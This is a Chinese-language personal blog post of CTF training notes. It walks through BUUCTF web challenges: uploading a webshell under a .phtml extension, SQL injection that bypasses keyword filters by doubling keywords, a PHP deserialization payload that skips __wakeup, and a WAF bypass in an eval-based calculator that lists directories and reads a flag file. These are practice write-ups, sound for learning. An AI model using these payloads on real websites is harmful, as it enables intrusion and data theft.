training-3

dawn_r1sing Lv3

第一周和第二周(3)

  • 查了一下“语言构造器

language construct,是语言构成的意思,php中eval、echo、print、die、require等这样的几个特殊关键字,虽然它们用起来像函数,但他们不是函数,是更类似于if、while这样的控制语句,当执行它们时,并不会把它们转换成函数调用,而是直接映射到一系列预先定义好的操作


BUUCTF Upload1

  • 文件上传题

先上传一个简单的一句话木马试试水(muma.txt)

image-20231027222856816

image-20231024190126664

改一下文件后缀(muma.png)

image-20231024190505828

上传成功!

重传抓包改一下filename: muma.php

image-20231024190654141

换一换(muma.phtml)

image-20231024191130161

上传成功同时获得文件路径,转蚁剑 居然又忘记关burp了

image-20231024191409722

image-20231024191541076

得到flag~


BUUCTF BabySQL1

(突然又发现前面order的用法错了,汗)

提示了有过滤,看看过滤了什么

1
select,or(自然又包含了order,information,password),by,and,union,from,where(关键词们)
  • 关键词绕过尝试:用/**/,<>分割关键字、大小写、双关键词
1
1' oorrder bbyy 1#

image-20231025095526778

成功绕过(应该是将关键字替换成了空),找字段数

image-20231025102340553

为3,找注入点:

1
1' uunionnion sselectelect 1,2,3#

image-20231025102533996

库:geek

表:b4bsql、geekuser

字段:b4bsql:id、username、password

内容:

capture_20231025105347198

得到flag~


BUUCTF PHP1

  • 备份文件+反序列化

初始页面除了一只可爱的小猫+提示外一片空白

提示说他有备份网站的习惯,参考前面的备份文件题目

1
2
3
4
5
6
7
8
9
10
11
12
import requests
list1=['web', 'website', 'backup', 'back', 'www', 'wwwroot', 'temp']
list2=['.zip','.tar','.rar','.tar.gz']
URL="http://fac5ffa1-ae2b-41de-9125-f6e3d875147e.node4.buuoj.cn:81/"
for i in list1:
for j in list2:
url=URL+i+j
res=requests.get(url)
if res.status_code==200:
print(url)


www.zip

下载文件,打开

首先是index.php

1
2
3
4
5
<?php
include 'class.php';
$select = $_GET['select'];
$res=unserialize(@$select);
?>

包含了class.php

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
include 'flag.php';


error_reporting(0);


class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

function __wakeup(){
$this->username = 'guest';
}

function __destruct(){
if ($this->password != 100) {
echo "</br>NO!!!hacker!!!</br>";
echo "You name is: ";
echo $this->username;echo "</br>";
echo "You password is: ";
echo $this->password;echo "</br>";
die();
}
if ($this->username === 'admin') {
global $flag;
echo $flag;
}else{
echo "</br>hello my friend~~</br>sorry i can't give you the flag!";
die();


}
}
}
?>

在这里面看到了unserialize和几个反序列化的魔术方法,那应该是要构造序列化传入到$select里

咋构造呢?

  • 魔术方法
1
2
3
4
5
__construct()		//创建对象时自动调用

__wakeup() //对象重新醒来,即由二进制串重新组成一个对象的时候(在一个对象被反序列化时调用)

__destruct() //对象的所有引用都被删除或对象被显示销毁时自动调用

(print_r — 打印人类可读的变量信息)

调用(清晰可见!!!):

  1. 先创建新对象,调用__construct()
  2. 执行unserialize()时调用__wakeup()
  3. 反序列化之后调用__destruct()
  4. 程序结束时调用__destruct()

image-20231025203230937

  • 私有变量

“private 声明的字段为私有字段,只在所声明的类中可见,在该类的子类和该类的对象实例中均不可见。因此私有字段的字段名在序列化时,类名和字段名前面都会加上\0的前缀。字符串长度也包括所加前缀的长度。其中 \0 字符也是计算长度的。”

对于private变量,我们需要在类名和字段名前面加上\0的前缀(指 ASCII码为0的空字符)

但注意:python传入加 \0 ,浏览器直接传入加 %00(十六进制)

select的产生:模仿Name类给$select赋值执行序列化操作

1
2
3
4
5
6
7
8
9
10
11
//从根源上
<?php
class Name{
private $username = 'admin';
private $password = '100';

}
$select = new Name;
$select_ser = serialize($select);
print $select_ser;

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
//通过魔术方法
<?php
class Name{
private $username = 'nonono';
private $password = 'yesyes';

public function __construct($username,$password){
$this->username = $username;
$this->password = $password;
}

}
$select = new Name('admin','100');
$select_ser = serialize($select);
print $select_ser;

同时,

1.为绕过__wakeup()将属性值改大

2.对于private变量需要在类名和字段名前面加上前缀

1
2
O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";s:3:"100";}
(直接在浏览器中传入)

image-20231026164039025

得到flag~


BackupFile1

找备份文件(参考“ctfhub bak文件”)

image-20231026172555203

下载得到php代码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
<?php
include_once "flag.php";

if(isset($_GET['key'])) {
$key = $_GET['key'];
if(!is_numeric($key)) {
exit("Just num!");
}
$key = intval($key);
$str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
if($key == $str) {
echo $flag;
}
}
else {
echo "Try to find out source file!";
}

key 需要是数字且弱等于$str

image-20231026172453536

得到flag~


Easy Calc1

  • php的正则表达式(描述字符串结果的语法规则):进行字符串匹配、替换、分割
1
preg_match('/' . $blackitem . '/m', $str)

此处进行的是字符串的匹配,识别$str中出现的黑名单(m是一种模式修饰符 ,指多文本模式,进行多行搜索)

  • WAF
  • php字符串解析特性

PHP需要将所有参数转换为有效的变量名,因此在将查询字符串解析为内部关联数组$_GET或关联数组$_POST时,它会做两件事:

1.删除前后的空白符(空格符,制表符,换行符等统称为空白符)
2.将某些字符转换为下划线(包括空格)

如:/?%20news[id%00=42会转换为 Array([news_id] => 42)

查看页面源代码,发现calc.php,打开

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php 
error_reporting(0);
if(!isset($_GET['num'])){
show_source(__FILE__);
}else{
$str = $_GET['num'];
$blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\$','\\','\^'];
foreach ($blacklist as $blackitem) {
if (preg_match('/' . $blackitem . '/m', $str)) {
die("what are you want to do?");
}
}
eval('echo '.$str.';');
}
?>

传入的参数num内容有过滤,尝试后发现也只能传入数字,拦截非数字(WAF)

源代码提示有WAF,可利用php的字符串解析特性在num前加空格绕过(加上空格后变量名变为“ num”,WAF找不到了,但php解析的时候会将空格删去,代码正常运行)

之后查找文件

先看目录

1
/calc.php? num=print_r(scandir('/'))

( 函数scandir() )

image-20231028222035479

返回what are you want to do?

''在黑名单里

用chr()绕过 => 无’’

1
/calc.php? num=print_r(scandir(chr(47))

image-20231028231729227

看到目录了,f1agg!

打开它

? num=print_r(file_get_contents(‘/f1agg’)) =>

1
/calc.php? num=print_r(file_get_contents(chr(47).f1agg))

image-20231028232215164

得到flag~

  • Title: training-3
  • Author: dawn_r1sing
  • Created at : 2023-10-29 23:21:55
  • Updated at : 2023-10-30 08:44:25
  • Link: https://dawnrisingdong.github.io/2023/10/29/training-3/
  • License: This work is licensed under CC BY-NC-SA 4.0.